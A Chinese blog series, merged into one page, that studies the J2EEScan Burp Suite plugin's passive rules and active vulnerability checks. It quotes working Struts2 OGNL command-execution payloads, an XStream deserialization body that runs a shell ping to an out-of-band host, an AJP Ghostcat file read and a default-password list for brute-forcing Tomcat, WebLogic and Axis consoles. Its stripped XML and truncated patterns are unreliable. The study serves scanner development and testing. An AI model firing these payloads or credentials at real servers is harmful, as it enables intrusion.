为了方便查阅,将下列文章合并
【BurpSuite】插件开发学习之J2EEScan(上)-被动扫描
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(1-10)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(11-20)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(21-30)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(31-40)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(41-50)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(51-60)
【BurpSuite】插件开发学习之J2EEScan(下)-主动扫描(61-76)
https://github.com/PortSwigger/j2ee-scan.git
逻辑代码在
|____src
| |____main
| | |____java
| | | |____burp
| | | | |____HTTPMatcher.java
| | | | |____J2EELFIRetriever.java
| | | | |____SoftwareVersions.java
| | | | |____WeakPasswordBruteforcer.java
| | | | |____j2ee
| | | | | |____PassiveScanner.java
| | | | | |____Confidence.java
| | | | | |____annotation
| | | | | | |____RunOnlyOnce.java
| | | | | | |____RunOnlyOnceForApplicationContext.java
| | | | | |____Risk.java
| | | | | |____passive
| | | | | | |____SessionFixation.java
| | | | | | |____ApacheStrutsS2023Rule.java
| | | | | | |____JettyRule.java
| | | | | | |____HttpServerHeaderRule.java
| | | | | | |____SqlQueryRule.java
| | | | | | |____PassiveRule.java
| | | | | | |____strutstoken
| | | | | | | |____StrutsTokenCracker.java
| | | | | | | |____ReplayRandom.java
| | | | | | |____ApacheTomcatRule.java
| | | | | | |____SessionIDInURL.java
| | | | | | |____JSPostMessage.java
| | | | | | |____ExceptionRule.java
| | | | | |____IssuesHandler.java
| | | | | |____lib
| | | | | | |____TesterAjpMessage.java
| | | | | | |____SimpleAjpClient.java
| | | | | |____issues
| | | | | | |____impl
| | | | | | | |____OracleEBSSSRF.java
| | | | | | | |____OracleEBSSSRFLCMServiceController.java
| | | | | | | |____ApacheStrutsS2032.java
| | | | | | | |____NodeJSRedirect.java
| | | | | | | |____ApacheRollerOGNLInjection.java
| | | | | | | |____ApacheStrutsDebugMode.java
| | | | | | | |____ApacheAxis.java
| | | | | | | |____HTTPWeakPassword.java
| | | | | | | |____HTTPProxy.java
| | | | | | | |____PrimeFacesELInjection.java
| | | | | | | |____WeblogicUDDIExplorer.java
| | | | | | | |____ApacheStrutsS2052.java
| | | | | | | |____JBossWebConsole.java
| | | | | | | |____EL3Injection.java
| | | | | | | |____XXEParameterModule.java
| | | | | | | |____UndertowTraversal.java
| | | | | | | |____LFIModule.java
| | | | | | | |____ApacheStrutsS2043.java
| | | | | | | |____FastJsonRCE.java
| | | | | | | |____OracleReportService.java
| | | | | | | |____SnoopResource.java
| | | | | | | |____JBossJMXReadOnly.java
| | | | | | | |____WebInfInformationDisclosure.java
| | | | | | | |____XInclude.java
| | | | | | | |____JavaServerFacesTraversal.java
| | | | | | | |____Seam2RCE.java
| | | | | | | |____WeblogicConsole.java
| | | | | | | |____RESTAPISwagger.java
| | | | | | | |____JettyRemoteLeakage.java
| | | | | | | |____JBossJMXInvoker.java
| | | | | | | |____OASConfigFilesDisclosure.java
| | | | | | | |____JacksonDataBindCVE20177525.java
| | | | | | | |____XXEModule.java
| | | | | | | |____WeblogicCVE20192725.java
| | | | | | | |____WeblogicWebServiceTestPageCVE20182894.java
| | | | | | | |____JKStatus.java
| | | | | | | |____WeblogicCVE201710271.java
| | | | | | | |____LFIAbsoluteModule.java
| | | | | | | |____ApacheStrutsS2016.java
| | | | | | | |____ApacheStrutsShowcase.java
| | | | | | | |____ApacheStrutsWebConsole.java
| | | | | | | |____ApacheStrutsS2020.java
| | | | | | | |____StatusServlet.java
| | | | | | | |____UTF8ResponseSplitting.java
| | | | | | | |____TomcatHostManager.java
| | | | | | | |____SpringBootRestRCE.java
| | | | | | | |____PivotalSpringTraversalCVE20143625.java
| | | | | | | |____Htaccess.java
| | | | | | | |____JBossjBPMAdminConsole.java
| | | | | | | |____ELInjection.java
| | | | | | | |____NodeJSPathTraversal.java
| | | | | | | |____ApacheStrutsS2017.java
| | | | | | | |____ApacheSolrXXE.java
| | | | | | | |____OASSqlnetLogDisclosure.java
| | | | | | | |____NodeJSResponseSplitting.java
| | | | | | | |____URINormalizationTomcat.java
| | | | | | | |____JBossWS.java
| | | | | | | |____SpringCloudConfigPathTraversal.java
| | | | | | | |____InfrastructurePathTraversal.java
| | | | | | | |____AJPDetector.java
| | | | | | | |____JBossAdminConsole.java
| | | | | | | |____SSRFScanner.java
| | | | | | | |____SpringDataCommonRCE.java
| | | | | | | |____JavascriptSSRF.java
| | | | | | | |____ApacheWicketArbitraryResourceAccess.java
| | | | | | | |____SpringBootActuator.java
| | | | | | | |____IDocInjection.java
| | | | | | | |____TomcatManager.java
| | | | | | | |____NextFrameworkPathTraversal.java
| | | | | | | |____OracleCGIPrintEnv.java
| | | | | | | |____JBossJuddi.java
| | | | | | | |____AJP_Tomcat_GhostCat.java
| | | | | | | |____SpringWebFlowDataBindExpressionCVE20174971.java
| | | | | | |____IModule.java
| | | | | |____CustomScanIssue.java
| | | | |____J2EELocalAssessment.java
| | | | |____WeakPassword.java
| | | | |____HTTPParser.java
| | | | |____CustomHttpRequestResponse.java
| | | | |____BurpExtender.java
这个代码是基于java写的
老样子,继承BurpExtender
class BurpExtender(IBurpExtender):
基本信息也和java差不多
public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) {
// keep a reference to our callbacks object
this.callbacks = callbacks;
this.callbacks.registerExtensionStateListener(this);
// obtain an extension helpers object
helpers = callbacks.getHelpers();
// obtain our output stream
stdout = new PrintWriter(callbacks.getStdout(), true);
stderr = new PrintWriter(callbacks.getStderr(), true);
// set our extension name
callbacks.setExtensionName("J2EE Advanced Tests");
然后创建了一个临时数据库文件并连接了
j2eeDBState = File.createTempFile("burpsuite-j2eescan-state", ".db");
stdout.println("Using temporary db state file: " + j2eeDBState.getAbsolutePath());
stdout.println("This internal state is used to avoid duplicate infrastructure security "
+ "checks on the same host, improving the scan performance");
connectToDatabase(j2eeDBState.getAbsolutePath());
初始化的数据库表executed_plugins
String fields = "plugin, host, port";
conn.createStatement().executeUpdate("CREATE TABLE IF NOT EXISTS executed_plugins ("
+ " plugin TEXT PRIMARY KEY,"
+ " host TEXT,"
+ " port INTEGER,"
+ " UNIQUE(" + fields + "))");
重写了被动扫描,在PassiveScanner这个类里。
PassiveScanner.scanVulnerabilities(baseRequestResponse, callbacks);
遍历如下规则进行扫描
static PassiveRule[] PASSIVE_RULES = {
new ApacheTomcatRule(),
new ExceptionRule(),
new HttpServerHeaderRule(),
new SqlQueryRule(),
new ApacheStrutsS2023Rule(),
new JettyRule(),
new SessionIDInURL(),
new JSPostMessage(),
new SessionFixation()
};
一个一个看,
Risk.Low
Pattern.compile("Apache Tomcat/([\\d\\.]+)"
Risk.Information
Pattern.compile("\">(1\\.\\d\\.[\\w\\-\\_\\.]+)<"
判断struts是开发环境还是dev环境
Risk.Low
"Struts Problem Report ".getBytes();
Risk.Low
byte[] tapestryException = "An unexpected application exception has occurred.
".getBytes();
Risk.Low
byte[] grailsException = "Grails Runtime Exception
".getBytes();
Risk.Low
byte[] gwtException = "com.google.gwt.http.client.RequestException".getBytes();
Risk.Low
List<byte[]> javaxServletExceptions = Arrays.asList(
"javax.servlet.ServletException".getBytes(),
"οnclick=\"toggle('full exception chain stacktrace".getBytes(),
"at org.apache.catalina".getBytes(),
"at org.apache.coyote.".getBytes(),
"at org.jboss.seam.".getBytes(),
"at org.apache.tomcat.".getBytes(),
"JSP Processing Error ".getBytes(), // WAS
"The full stack trace of the root cause is available in".getBytes());
"com.sun.facelets.FaceletException"
.getBytes(),
"Generated by MyFaces - for information on disabling".getBytes(),
"Error - org.apache.myfaces" .getBytes(),
"org.primefaces.webapp".getBytes());
http 头泄露应用版本号
Pattern.compile("java\\/([\\d\\.\\_]+)"
Pattern.compile("Jetty.([\\d\\.]+)"
Pattern.compile("GlassFish Server Open Source Edition ([\\d\\.]+)"
Pattern.compile("WebLogic (:?Server )?([\\d\\.]+)"
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle Application Server Containers for J2EE 10g \\(([\\d\\.]+)\\)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle.Application.Server.10g\\/([\\d\\.]+)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle Application Server\\/([\\d\\.]+)", Pattern.DOTALL));
ORACLE_APPLICATION_SERVER_RE.add(Pattern.compile("Oracle9iAS\\/([\\d\\.]+)", Pattern.DOTALL));
if (xPoweredByHeader.trim().equals("Express")) {
SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
提取token
private final Pattern TOKEN_FIELD_PATTERN = Pattern.compile(");
转int,按固定长度切割
int[] tokenInts = bytesToInt(bigIntToByte(token));
根据int找到seed
long seed = findSeed(reverseByteOrder(tokenInts[1]), reverseByteOrder(tokenInts[2]));
根据种子预测随机数,和就token匹配,如果能匹配上,说明种子是对的,也就是说明token可预测。
int[] nextInts = new int[4];
for(int i=0;i<nextInts.length;i++) {
nextInts[i] = reverseByteOrder(random.nextInt());
}
boolean match1 = tokenInts[2] == nextInts[0];
boolean match2 = tokenInts[3] == nextInts[1];
boolean match3 = tokenInts[4] == nextInts[2];
private static final Pattern JETTY_PATTERN = Pattern.compile(">Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE);
private static final List<String> SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid"));
js的跨域信息通信的函数。
POSTMESSAGE_PATTERNS.add(Pattern.compile(".addEventListener\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile("window\\).on\\(\"message", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
POSTMESSAGE_PATTERNS.add(Pattern.compile(".postMessage\\(", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
先检查url,这个检查很粗糙,直接判断后缀,还是黑名单,没有后缀就默认通过
isJavaApplicationByURL(curURL)
然后条件是请求包有JSESSIONID且返回包含有账号等信息
if (requestCookie != null && requestCookie.contains("JSESSIONID")) {
String reqBodyLowercase = reqBody.toLowerCase();
if (reqBodyLowercase != null
&& (reqBodyLowercase.contains("password") || reqBodyLowercase.contains("pwd") || reqBodyLowercase.contains("passw"))
&& (reqBodyLowercase.contains("user") || reqBodyLowercase.contains("uid") || reqBodyLowercase.contains("mail"))) {
并且返回包没有setcookie(说明固定了会话),或者setcookie字段里包含JSESSIONID
这种校验比较粗糙,注释也说了
Due to the nature of the vulnerability, this check is prone to False Positives and must be manually confirmed
直接从package里取class
j2eeTests = getClassNamesFromPackage("burp.j2ee.issues.impl.");
再取每个类里面的scan方法
for (Method m : j2eeModule.getClass().getMethods()) {
if (m.getName().equals("scan")) {
根据scan函数的注解
RunOnlyOnce annotationRunOnlyOnce = m.getAnnotation(RunOnlyOnce.class);
try {
// log the plugin is executed once
pluginExecutedOnce(module, host, port);
记录下什么漏洞只需要攻击一次,写入数据库
public void pluginExecutedOnce(String pluginClass, String host, int port) throws SQLException {
PreparedStatement stmt = conn.prepareStatement("INSERT INTO executed_plugins VALUES(?,?,?)");
stmt.setString(1, pluginClass);
stmt.setString(2, host);
stmt.setInt(3, port);
stmt.executeUpdate();
}
否则就是所有的目标都可以scan
逻辑讲完了,现在可以看看具体的package里面有哪些漏洞了,一共73个,一个一个来
73个impl里面可能有好几种类型的漏洞,放在一篇里面比较重,所以每10个为一个单位,拆分发布吧。
先连接默认端口
ac.connect(host, DEFAULT_AJP_PORT);
int DEFAULT_AJP_PORT = 8009;
然后构造ajp请求包发送
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
forwardMessage.addAttribute("javax.servlet.include.path_info", WEBINF_PATH);
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
其中比较关键的是参数:javax.servlet.include.path_info,value是
List<String> WEBINF_PATHS = Arrays.asList(
"/" + contextPath + "/WEB-INF/web.xml",
"WEB-INF/web.xml"
);
然后根据ajp返回的rsp去匹配(包含关系):
也就是根绝我们读取的WEBINF_PATHS的内容。
private static final byte[] GREP_STRING = ".getBytes();
如果存在则说明存在文件读取漏洞。
This module detects Apache JServ Protocol (AJP) services
实际上就是检测有没有开启的AJP
fuzz的port列表
private static final int[] AJP13PORTS = {8080, 8102, 8081, 6800, 6802, 8009, 8109, 8209, 8309, 8888, 9999};
建立socket连接,发送心跳包,判断返回包
String system = host.concat(Integer.toString(port));
byte[] CPing = new byte[]{
(byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a};
if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) {
这个应该是可以和【1】结合,这里如果判断有心跳包,就直接测试文件包含。
先遍历PATH
private static final List<String> HAPPY_AXIS_PATHS = Arrays.asList(
"/dswsbobje/happyaxis.jsp", // SAP BusinessObjects path
"/dswsbobje//happyaxis.jsp", // SAP BusinessObjects path
"/jboss-net/happyaxis.jsp", // JBoss
"/jboss-net//happyaxis.jsp", // JBoss
"/happyaxis.jsp",
"/axis2/axis2-web/HappyAxis.jsp",
"/axis2-web//HappyAxis.jsp",
"/axis//happyaxis.jsp",
"/axis2//axis2-web/HappyAxis.jsp",
"/wssgs/happyaxis.jsp", //JBuilder Apache Axis Admin Console
"/tresearch/happyaxis.jsp"
);
然后根据返回包match
private static final byte[] GREP_STRING_HAPPY_AXIS = "Happiness Page".getBytes();
遍历
private static final List<String> AXIS_PATHS = Arrays.asList(
"/axis2/",
"/axis/",
"/dswsbobje/", // SAP BusinessObjects path
"/jboss-net/", // JBoss
"/tomcat/axis/",
"/wssgs/", //JBuilder Apache Axis Admin Console
..Apache-Axis
"/tresearch/", // JBuilder Apache Axis Admin Console
"/"
);
这些根目录加上admin目录请求
private static final String AXIS_ADMIN_PATH = "/axis2-admin/";
如果match到
private static final byte[] GREP_STRING_AXIS_ADMIN = "Login to Axis2 :: Administration" .getBytes();
则找到管理后台
如果找到后台,还可以进行账号密码爆破
常见的密码
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "tomcat"));
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "manager"));
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "jboss"));
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "password"));
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", ""));
credentials.add(new AbstractMap.SimpleEntry<>("both", "manager"));
credentials.add(new AbstractMap.SimpleEntry<>("both", "tomcat"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "tomcat"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "manager"));
credentials.add(new AbstractMap.SimpleEntry<>("manager", "manager"));
credentials.add(new AbstractMap.SimpleEntry<>("manager", "tomcat"));
credentials.add(new AbstractMap.SimpleEntry<>("role1", "role1"));
credentials.add(new AbstractMap.SimpleEntry<>("role1", "tomcat"));
credentials.add(new AbstractMap.SimpleEntry<>("role", "changethis"));
credentials.add(new AbstractMap.SimpleEntry<>("root", "changethis"));
credentials.add(new AbstractMap.SimpleEntry<>("tomcat", "changethis"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "j5Brn9")); // Sun Solaris
credentials.add(new AbstractMap.SimpleEntry<>("admin", "admin"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "root"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "password"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", ""));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "1234"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "axis2"));
credentials.add(new AbstractMap.SimpleEntry<>("test", "test"));
credentials.add(new AbstractMap.SimpleEntry<>("monitor", "monitor"));
credentials.add(new AbstractMap.SimpleEntry<>("guest", "guest"));
credentials.add(new AbstractMap.SimpleEntry<>("root", ""));
credentials.add(new AbstractMap.SimpleEntry<>("root", "root"));
credentials.add(new AbstractMap.SimpleEntry<>("root", "admin"));
credentials.add(new AbstractMap.SimpleEntry<>("root", "password"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic1"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "weblogic01"));
credentials.add(new AbstractMap.SimpleEntry<>("weblogic", "welcome1"));
credentials.add(new AbstractMap.SimpleEntry<>("admin", "security"));
credentials.add(new AbstractMap.SimpleEntry<>("oracle", "oracle"));
credentials.add(new AbstractMap.SimpleEntry<>("system", "security"));
credentials.add(new AbstractMap.SimpleEntry<>("system", "password"));
credentials.add(new AbstractMap.SimpleEntry<>("wlcsystem", "wlcsystem"));
credentials.add(new AbstractMap.SimpleEntry<>("wlpisystem", "wlpisystem"));
// Orbeon forms
credentials.add(new AbstractMap.SimpleEntry<>("orbeonadmin", "xforms"));
再加上一个
listOfPwd.add("axis2");
用户名就是爆破的admin
如果match到
private static final byte[] GREP_STRING_AXIS_ADMIN_WEAK_PWD = "You are now logged into the Axis2 administration console".getBytes();
则认为是爆破成功
和上面的AXIS_PATHS拼接
private static final List<String> AXIS_SERVICES_PATHS = Arrays.asList(
"/services/listServices",
"/services/"
);
如果match到
private static final List<byte[]> GREP_STRINGS_AXIS_SERVICE_PAGE = Arrays.asList(
"Axis2: Services ".getBytes(),
"List Services ".getBytes()
);
则认为获取到了Service列表
表达式注入
String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt);
攻击入口是登录页 url存在
if (curURL.getPath().contains("login.rol"))
去除所有参数
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
新增攻击参数
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
);
如果从返回包中Match到上面的计算结果,则认为表达式注入成功。
payload
String xxesolr = "{!xmlparser v=''}";
%s用burp自带的dnslog接口
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
发送请求
byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest);
match就看dns结果啦
先判断URL是不是java
很粗,前面文章已经讲过了。
List notJ2EETechs = new ArrayList<>();
notJ2EETechs.add("php");
notJ2EETechs.add("asp");
notJ2EETechs.add("cgi");
notJ2EETechs.add("pl");
return (!notJ2EETechs.contains(curExtension));
老样子
去除所有入参
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
新增参数,debug=console
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("debug", "console", IParameter.PARAM_URL)
);
如果返回包match
private static final byte[] GREP_STRING = "'OGNL Console'".getBytes();
则存在漏洞,表达式注入。
看着像后门
http://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
这里准备了两个payload
payloads.add("${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27id%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}");
payloads.add("${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20ipconfig.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}");
一个是适配linux一个是windows
简单看看payload语法
${
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe','/c ipconfig.exe'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#e),
#matt.getWriter().flush(),
#matt.getWriter().close()
}
对比看下正常java 调用java.lang.ProcessBuilder执行命令的实例
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ProcessTest {
public static void main(String args[]) {
ProcessBuilder pb = new ProcessBuilder();
pb.command(new String[] { cmd });
try {
Process process = pb.start();
InputStream stdout = process.getInputStream();
InputStreamReader isr = new InputStreamReader(stdout);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ( (line = br.readLine()) != null)
System.out.println(line);
int exitVal = process.waitFor();
System.out.println(exitVal);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
实际也就是增加了一个httprsp的回显,比较清晰
上面的payload循环放到参数,如下参数都有可能存在漏洞
List<String> redirectMeth = new ArrayList();
redirectMeth.add("action:");
redirectMeth.add("redirect:");
redirectMeth.add("redirectAction:");
因为我们的payload希望是长成这样
redirect:xxxxx
所以要做一个替换,这里是因为前面只需要remove所有其他参数,剩下的第一个等于号应该是我们加入的这个参数和payload中间。
String utf8rawRequest = new String(rawrequest, "UTF-8");
modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
如果match到
static {
DETECTION_REGEX.add(Pattern.compile("Subnet Mask", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("uid=[0-9]+.*gid=[0-9]+.*", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE));
DETECTION_REGEX.add(Pattern.compile("java\\.lang\\.(UNIX)", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
subnet mask是网关的意思,匹配的是win
第三个没太理解,有可能是Win执行了linux的表达式抛出来的异常?
参数较016 少了redirect:
redirectMeth.add("redirect:");
redirectMeth.add("redirectAction:");
payload
rawrequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
);
这里竟然没有恶意参数,知识一个跳转
match返回的状态码和header头
if (statusCode >= 300 && statusCode < 400) {
if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html
参数
modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
classLoaderStringTest, IParameter.PARAM_URL)
);
payload
long unixTime = System.currentTimeMillis() / 1000L;
String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
match返回包
private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr
class.classLoader.resources.dirContext.docBase
(.*\.|^)class\..* 两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过
安全正则
(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
老样子,去除所有参数
byte[] rawrequest = baseRequestResponse.getRequest();
//Remove URI parameters
for (IParameter param : parameters) {
rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
}
入参
method:
payload
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString
展开看看
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString
第一步:从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.(SecurityMemberAccess 比较严格限制了反射类,DefaultMemberAccess不限制反射类),后面直接调用反射就行。
其中hook[0]是后面的参数
modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
);
match,因为print了俩,一个是HOOK_VAL,一个是表达式计算的值。
private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
Pattern.DOTALL | Pattern.MULTILINE);
遍历path
private static final List<String> BROWSER_PATHS = Arrays.asList(
"/config-browser/actionNames",
"/config-browser/actionNames.action"
);
请求之后match
private static final byte[] GREP_STRING = "Actions in namespace ".getBytes();
首先判断了有没有content-type
String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
毕竟payload要靠xml传过去
增加content-type
List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");
payload
String payload = " ping " + currentCollaboratorPayload;
String xmlMarshallingBody= " +
" \n" +
" \n" +
" 0 \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" false \n" +
" 0 \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" /bin/sh -c " + payload + "\n" +
" \n" +
" false \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" java.lang.ProcessBuilder \n" +
" start \n" +
" \n" +
" \n" +
" foo \n" +
" \n" +
" foo \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" 0 \n" +
" 0 \n" +
" false \n" +
" \n" +
" false \n" +
" \n" +
" \n" +
" \n" +
" 0 \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
" \n" +
"";
这个payload和之前的有所不同,查一下漏洞原理:
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。
ApacheStrutsShowcase
关键路劲
private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
"/struts2-showcase/showcase.action"
);
如果match到
private static final byte[] GREP_STRING = "Struts2 Showcase ".getBytes();
则存在问题
看上去这个showcase.action在多个S2系列的漏洞中出现,比较容易出问题。
https://www.anquanke.com/post/id/86757
控制台路径
private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
"/struts/webconsole.html?debug=console"
);
如果match到
private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();
则存在问题
长这样
但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下,webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html
路径包含
"wicket/resource")
payload则是替换掉上面的路径
换成
private static final List<String> PAYLOADS = Arrays.asList(
"wicket/resource/int/wicket.properties,/bla/ HTTP",
"wicket/resources/int/wicket.properties,/bla/ HTTP"
);
这里采用的是替换原始请求包正则匹配
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
match则是
private static final byte[] GREP_STRING = "initializer=".getBytes();
百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了,是目录穿越
public ExtensionResourceNameIterator(String path, final String extension)
{
if ((extension == null) && (path.indexOf('.') != -1))
{
// Get the extension from the path provided
extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
path = Strings.beforeLastPathComponent(path, '.');
}
else if (extension != null)
{
// Extension can be a comma separated list
extensions = Strings.split(extension, ',');
for (int i = extensions.length - 1; i >= 0; i--)
{
extensions[i] = extensions[i].trim();
if (!extensions[i].startsWith("."))
{
extensions[i] = "." + extensions[i];
}
}
}
else
{
extensions = new String[1];
extensions[0] = ".";
}
this.path = path;
index = 0;
}
注意这个分支
else if (extension != null)
{
// Extension can be a comma separated list
extensions = Strings.split(extension, ',');
for (int i = extensions.length - 1; i >= 0; i--)
{
extensions[i] = extensions[i].trim();
if (!extensions[i].startsWith("."))
{
extensions[i] = "." + extensions[i];
}
}
}
相当于根据,取了多个后缀然后拼接造成了路径穿越。
payload
private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
"System.getProperties()".getBytes()
);
直接post请求发过去
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
match到
private static final byte[] GREP_STRING = "java.vendor".getBytes();
则存在漏洞
这是直接执行命令??
match的是命令结果
看了下文章
不太现实,是指用户的输入直接传入了elp.eval执行
payload
